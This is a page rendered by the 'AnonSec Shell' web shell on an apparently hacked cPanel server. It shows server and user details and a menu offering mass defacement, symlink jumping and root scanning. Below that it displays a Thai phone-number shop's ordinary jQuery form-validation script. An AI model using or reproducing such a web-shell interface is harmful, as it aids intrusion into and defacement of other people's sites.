AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/simsalmon/control/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/simsalmon/control/include/fnmain.js
$(document).ready(function() {
	  
	$("#phone").mask("999-999-9999");
	
	
	  $('#fm_login').bootstrapValidator({
        fields: {
			email: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกอีเมล'
                    }
                }
            },
			 password: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกรหัสผ่าน'
                    }
                }
            }, 
        }
        })
        .on('success.form.bv', function(e) {
            $('#fm_login').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');
		   testHoldon('sk-rect');
			$.ajax({
					url: "../control/include/ajax_login.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: $("#fm_login").serialize(), 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						 testHoldon_cl('sk-circle');
						//$("#fm_login").trigger('reset');
						$("#hidelogin").html(data);
						
						
					}
				});
        });
		
	 $('#fm_register').bootstrapValidator({
        fields: {
           name: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกชื่อ '
                    }
                }
            },
			 lastname: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกนามสกุล '
                    }
                }
            },
			 password: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกรหัสผ่าน '
                    },
					 identical: {
						field: 'password_con',
						message: 'รหัสผ่านและการยืนยันไม่ถูกต้องหรือไม่เหมือนกัน'
					},
					stringLength: {
                        min: 6,
                        message: 'รหัสผ่าน ต้องไม่ต่ำกว่า 6 ตัวอักษร'
                    }
                }
            },
			 password_con: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกยืนยันรหัสผ่าน '
                    },
					identical: {
						field: 'password',
						message: 'รหัสผ่านและการยืนยันไม่ถูกต้องหรือไม่เหมือนกัน'
					},
					stringLength: {
                        min: 6,
                        message: 'รหัสผ่าน ต้องไม่ต่ำกว่า 6 ตัวอักษร'
                    }
                }
            },
			phone: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกเบอร์โทรศัพท์  '
                    },
					stringLength: {
                        min: 10,
                        message: 'กรุณากรอกเบอร์โทรศัพท์ อย่างน้อย 10 หลัก'
                    }
                }
            },
			 email: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกอีเมล '
                    },
					remote: {
                        message: 'อีเมลนี้ถูกใช้ลงทะเบียนแล้วค่ะ',
                        url: '../control/include/ajxa_ck_email.php?regitype=member',
                        type: 'POST',
                    },
                }
            },
        }
        })
        .on('success.form.bv', function(e) {
          $('#fm_register').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');			//testHoldon('sk-rect');
			$.ajax({
				url: "../control/include/register_member.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: $("#fm_register").serialize()+'&regitype=member', 
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					//testHoldon_cl('sk-circle');
					$("#hideregister").html(data);
				}
			});
        })
		
	
	  
    $('#fm_contact').bootstrapValidator({
        fields: {
            name: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกชื่อ'
                    }
                }
            },
			phone: {
                validators: {
                    notEmpty: {
                        message: 'โปรดระบุหมายเลขโทรศัพท์ของคุณ'
                    }
                }
            },
			email: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกอีเมล'
                    }
                }
            },
			 message: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกข้อความ'
                    }
                }
            }, 
        }
        })
        .on('success.form.bv', function(e) {
            $('#fm_contact').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');
		   testHoldon('sk-rect');
			$.ajax({
					url: "../control/include/ajax_contact.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: $("#fm_contact").serialize(), 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						 testHoldon_cl('sk-circle');
						$("#fm_contact").trigger('reset');
						$("#alerthide").html(data);
						
						
					}
				});
        });
		
		
		
	 $('#fm_reviews').bootstrapValidator({
        fields: {
            title: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกหัวข้อ'
                    }
                }
            },
			 detail: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกข้อความ'
                    }
                }
            }, 
        }
        })
        .on('success.form.bv', function(e) {
            $('#fm_reviews').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');
		   testHoldon('sk-rect');
			$.ajax({
					url: "../control/include/ajax_reviews.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: $("#fm_reviews").serialize(), 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						 testHoldon_cl('sk-circle');
						$("#fm_reviews").trigger('reset');
						$("#alerthide_review").html(data);
						
						
					}
				});
        });
		
	$('#fm_reply_comment').bootstrapValidator({
        fields: {
            comment: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกข้อมูลในช่องแสดงความคิดเห็น'
                    }
                }
            }
        }
        })
        .on('success.form.bv', function(e) {
            $('#fm_reply_comment').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');
		   testHoldon('sk-rect');
			$.ajax({
					url: "../control/include/ajax_reply_comment.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: $("#fm_reply_comment").serialize(), 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						 testHoldon_cl('sk-circle');
						$("#fm_reply_comment").trigger('reset');
						alert($("#fm_reply_comment").serialize());
						//window.location.href = '../review/index.php';
						//$("#reply_comment_"+).html(data);
						
						var x = document.getElementById("hidecomment").innerHTML;
						$("#hidecomment").html(parseInt(x)+1);
					}
				});
        });
		
		
		
		$('#fm_ed_member').bootstrapValidator({
        fields: {
           name: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกชื่อ '
                    }
                }
            },
			 lastname: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกนามสกุล '
                    }
                }
            },
			phone: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกเบอร์โทรศัพท์  '
                    },
					stringLength: {
                        min: 10,
                        message: 'กรุณากรอกเบอร์โทรศัพท์ อย่างน้อย 10 หลัก'
                    }
                }
            }
        }
        })
        .on('success.form.bv', function(e) {
          $('#fm_ed_member').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');			//testHoldon('sk-rect');
			$.ajax({
				url: "../control/include/edit_member.php", // Url to which the request is send
				type: "POST",             // Type of request to be send, called as method
				data: $("#fm_ed_member").serialize()+'&regitype=member', 
				cache: false,             // To unable request pages to be cached
				processData:false,        // To send DOMDocument or non processed data file it is set to false
				success: function(data)   // A function to be called if request succeeds
				{
					//testHoldon_cl('sk-circle');
					$("#alert_ed_member").html(data);
				}
			});
        })
		

    $('#fm_reading')
        .bootstrapValidator({
            framework: 'bootstrap',
            icon: {
                valid: 'glyphicon glyphicon-ok',
                invalid: 'glyphicon glyphicon-remove',
                validating: 'glyphicon glyphicon-refresh'
            },
            fields: {
				
                phonenumber: {
                    validators: {
                        callback: {
                            callback: function(value, validator, $field) {
                                var channel = $('#fm_reading').find('[name="type"]').val();
								
								 if (channel == 'mobile') {
									 if (value == '') {
										return {
											valid: false,
											message: 'กรุณากรอกเบอร์โทรศัพท์'
									   };
									}else if(value.length < 10){
										return {
											valid: false,
											message: 'กรุณากรอกเบอร์โทรศัพท์ 10 หลัก'
										};
									}else if(value.length > 10){
										return {
											valid: false,
											message: 'กรุณากรอกเบอร์โทรศัพท์ 10 หลัก'
										};
									}
								}
								if (channel == 'idcard') {
									    if (value == '') {
										return {
											valid: false,
											message: 'กรุณากรอกหมายเลขบัตรประชาชน'
									   };
									}else if(value.length < 13){
										return {
											valid: false,
											message: 'กรุณากรอกหมายเลขบัตรประชาชน 13 หลัก'
										};
									}else if(value.length > 13){
										return {
											valid: false,
											message: 'กรุณากรอกหมายเลขบัตรประชาชน 13 หลัก'
										};
									}
								}
								if (channel == 'homenumber') {
									    if (value == '') {
										return {
											valid: false,
											message: 'กรุณากรอกเลขที่บ้าน'
									   };
									}
								}
								if (channel == 'licenseplate') {
									    if (value == '') {
										return {
											valid: false,
											message: 'กรุณากรอกทะเบียนรถ'
									   };
									}
								}
								return true;
                            }
                        }
                    }
                }
            }
        })
        .on('change', '[name="type"]', function(e) {
            $('#fm_reading').bootstrapValidator('revalidateField', 'phonenumber');
        })
        .on('success.field.fv', function(e, data) {
			
            if (data.field === 'phonenumber') {
                var channel = $('#fm_reading').find('[name="type"]').val();
                if (channel !== 'other') {
                    data.element.closest('.form-group').removeClass('has-success');
                    data.element.data('fv.icon').hide();
                }
            }
			fm_reading.submit();
			
       });
	   
	   
	   
	   
	function randomNumber(min, max) {
        return Math.floor(Math.random() * (max - min + 1) + min);
    }

    function generateCaptcha() {
        $('#captchaOperation').html([randomNumber(10, 50), '+', randomNumber(10, 50), '='].join(' '));
    }
	generateCaptcha();

	$('#fm_order').bootstrapValidator({
        fields: {
           shipping: {
               validators: {
                    notEmpty: {
                        message: 'กรุณาเลือกรูปแบบการจัดส่ง '
                    }
                }
            },
			 name: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกชื่อ '
                    }
                }
            },
			 lastname: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกนามสกุล '
                    }
                }
            },
			 address: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกที่อยู่'
                    }
                }
            },
			 province: {
                validators: {
                    notEmpty: {
                        message: 'กรุณาเลือกจังหวัด '
                    }
                }
            },
			 zip: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกรหัสไปรษณี '
                    },
					stringLength: {
                        min: 5,
						max: 5,
                        message: 'กรุณากรอกรหัสไปรษณี 5 หลัก'
                    }
                }
            },
			 phone: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกเบอร์โทรศัพท์ติดต่อ '
                    },
					stringLength: {
                        min: 10,
						max: 10,
                        message: 'กรุณากรอกเบอร์โทรศัพท์ติดต่อ 10 หลัก'
                    }
                }
            },
			mail: {
                validators: {
                    notEmpty: {
                        message: 'กรุณากรอกอีเมล'
                    },
					emailAddress: {
                        message: 'รูปแบบอีเมลไม่ถูกต้อง'
                    }
                }
            },
			check: {
                validators: {
                    notEmpty: {
                        message: 'กรุณายืนยันข้อมูลมข้างต้นนี้เป็นความจริง'
                    }
                }
            },
			captcha: {
				validators: {
					callback: {
						message: 'กรุณากรอกผลบวกของตัวเลขให้ถูกต้อง',
						callback: function (value, validator, $field) {
							// Determine the numbers which are generated in captchaOperation
							var items = $('#captchaOperation').html().split(' '),
								sum   = parseInt(items[0]) + parseInt(items[2]);
							return value == sum;
						}
					}
				}
			},
        }
        })
        .on('success.form.bv', function(e) {
                $('#fm_order').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');
		    testHoldon('sk-rect');
			fm_order.submit();
        })	
		
		$('#fm_conorder').bootstrapValidator({
        fields: {
          check: {
                validators: {
                    notEmpty: {
                        message: 'กรุณายืนยันข้อมูลมข้างต้นนี้เป็นความจริง'
                    }
                }
            },
        }
        })
        .on('success.form.bv', function(e) {
                 $('#fm_conorder').data('bootstrapValidator').resetForm();
            e.preventDefault();
            var $form = $(e.target);
            var bv = $form.data('bootstrapValidator');
		    testHoldon('sk-rect');
			fm_conorder.submit();
        })
			
		
});





$(document).ready(function () { change(3)});
function change(id){
  var cname = document.getElementById(id).className;
  var ab = document.getElementById(id+"_hidden").value;
  document.getElementById("rating").value = ab;
  for(var i=ab;i>=1;i--){
    $('#'+i).removeClass("se_star2");
    $('#'+i).addClass("se_star1");
  }
  var id=parseInt(ab)+1;
  for(var j=id;j<=5;j++){
    $('#'+j).removeClass("se_star1");
    $('#'+j).addClass("se_star2");
  }
}


function mem_review(ck_mem)
{
	if(ck_mem == 1)
	{
		$('#myModal_reviwe').modal('show');  
	}
	else
	{
		$('#myModal_login').modal('show');  
	}
}
function likes_commen(commem,ck_mem)
{
	if(ck_mem == 1)
	{
		 var xmlhttp = new XMLHttpRequest();
			xmlhttp.onreadystatechange = function() {
				if (this.readyState == 4 && this.status == 200) {
					document.getElementById("hidelike_"+commem).innerHTML = this.responseText;
				}
			};
			xmlhttp.open("GET", "../control/include/ajax_likescommen.php?id="+commem, true);
			xmlhttp.send();
	}
	else
	{
		$('#myModal_login').modal('show');  
	}
}
function reply_comment(commem,ck_mem)
{
	if(ck_mem == 1)
	{
		document.getElementById("show_commemt_"+commem).style.display = "block";
	}
	else
	{
		$('#myModal_login').modal('show'); 
	}
}
function reset_search()
{
	 var xmlhttp = new XMLHttpRequest();
			xmlhttp.onreadystatechange = function() {
				if (this.readyState == 4 && this.status == 200) {
					window.location.href = '../search/index.php';
				}
			};
			xmlhttp.open("GET", "../control/include/ajax_reset_search.php", true);
			xmlhttp.send();
				
}
function FM_search(params)
{
	method =  "post";
	path =  "../search/index.php";
    var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", path);

		var hiddenField = document.createElement("input");
		hiddenField.setAttribute("type", "hidden");
		hiddenField.setAttribute("name", 'price_range');
		hiddenField.setAttribute("value", params);
		
		form.appendChild(hiddenField);
         
    document.body.appendChild(form);
    form.submit();
}


function fmreply_comment(id,ck_mem)
{	  
	if(ck_mem == 1)
	{
		if(document.forms['fm_reply_comment_'+id]['comment'].value == '')
	{
		alert('กรุณากรอกข้อความค่ะ');
	}
	else
	{
		 testHoldon('sk-rect');
		 $.ajax({
					url: "../control/include/ajax_reply_comment.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: $("#fm_reply_comment_"+id).serialize(), 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						 testHoldon_cl('sk-circle');
						$("#fm_reply_comment_"+id).trigger('reset');
						//window.location.href = '../review/index.php';
						$("#reply_comment_"+id).html(data);
						
						var x = document.getElementById("hidecomment").innerHTML;
						$("#hidecomment").html(parseInt(x)+1);
					}
			});
	} 
	}
	else
	{
		$('#myModal_login').modal('show'); 
	}     
}
function like(type,phone)
{
	if(type == 1)
	{
		$.ajax({
					url: "../control/include/ajax_favorite.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: 'id='+phone, 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						testHoldon_cl('sk-circle');
						
						if(data== false )
						{swal("เบอร์นี้เป็นเบอร์โปรดอยู่แล้ว!");}
						else{ swal(" เพิ่มเป็นเบอร์โปรดเรียบร้อยแล้วค่ะ"); $("#alert_like").html(data); }
						
					}
				});
	}
	else
	{
		swal("กรุณาเข้าสู่ระบบก่อน จึงจะสามารถเพิ่มเบอร์โปรดได้!");
	}
}
function favoriteDelete()
{
	if( $('input[name="chk[]"]:checked').length > 0)
	{
		swal({
		  title: "ยืนยันการลบข้อมูล ?",
		  text: "คุณจะไม่สามารถกู้ข้อมูลคืนกลับได้ !",
		  type: "warning",
		  showCancelButton: true,
		  confirmButtonColor: "#DD6B55",
		  confirmButtonText: "ยืนยันการลบข้อมูล",
		  cancelButtonText: "ยกเลิก",
		  closeOnConfirm: false
		},
		function(isConfirm){
		
			 if (isConfirm) {
				 swal.close();
				 testHoldon('sk-rect');
				  $.ajax({
					url: "../control/include/ajax_deletefavoriteAll.php", // Url to which the request is send
					type: "POST",             // Type of request to be send, called as method
					data: $("#fmfavorite").serialize(), 
					cache: false,             // To unable request pages to be cached
					processData:false,        // To send DOMDocument or non processed data file it is set to false
					success: function(data)   // A function to be called if request succeeds
					{
						testHoldon_cl('sk-circle');
						
						swal({
						  title: "การแจ้งเตือน !!!",
						  text: "ข้อมูลที่คุณเลือกถูกลบเรียบร้อยแล้วค่ะ",
						  type: "warning",
						  showCancelButton: true,
						  confirmButtonColor: "#DD6B55",
						  confirmButtonText: "ตกลง",
						  closeOnConfirm: false,
						  closeOnCancel: false,
						  showCancelButton: false,
						},
						function(isConfirm){
						  if (isConfirm) {
							//window.location.reload();
							window.location.href = '../member/favorite.php';
						  }
						});
					}
				});
			  } 
		});
	}
	else
	{
		swal({
		  title: "การแจ้งเตือน !!!",
		  text: "กรุณาเลือกข้อมูลที่ต้องการจะลบ",
		  type: "warning",
		  confirmButtonColor: "#8cd4f5",
		  confirmButtonText: "ตกลง",
		});
	}
}
$(function(){
	$('.checkall').on('click', function() {
		$('.child').prop('checked', this.checked)
	});
});
function link_cart()
{
	window.location.href = '../cart/list.php';
}

Anon7 - 2022
AnonSec Team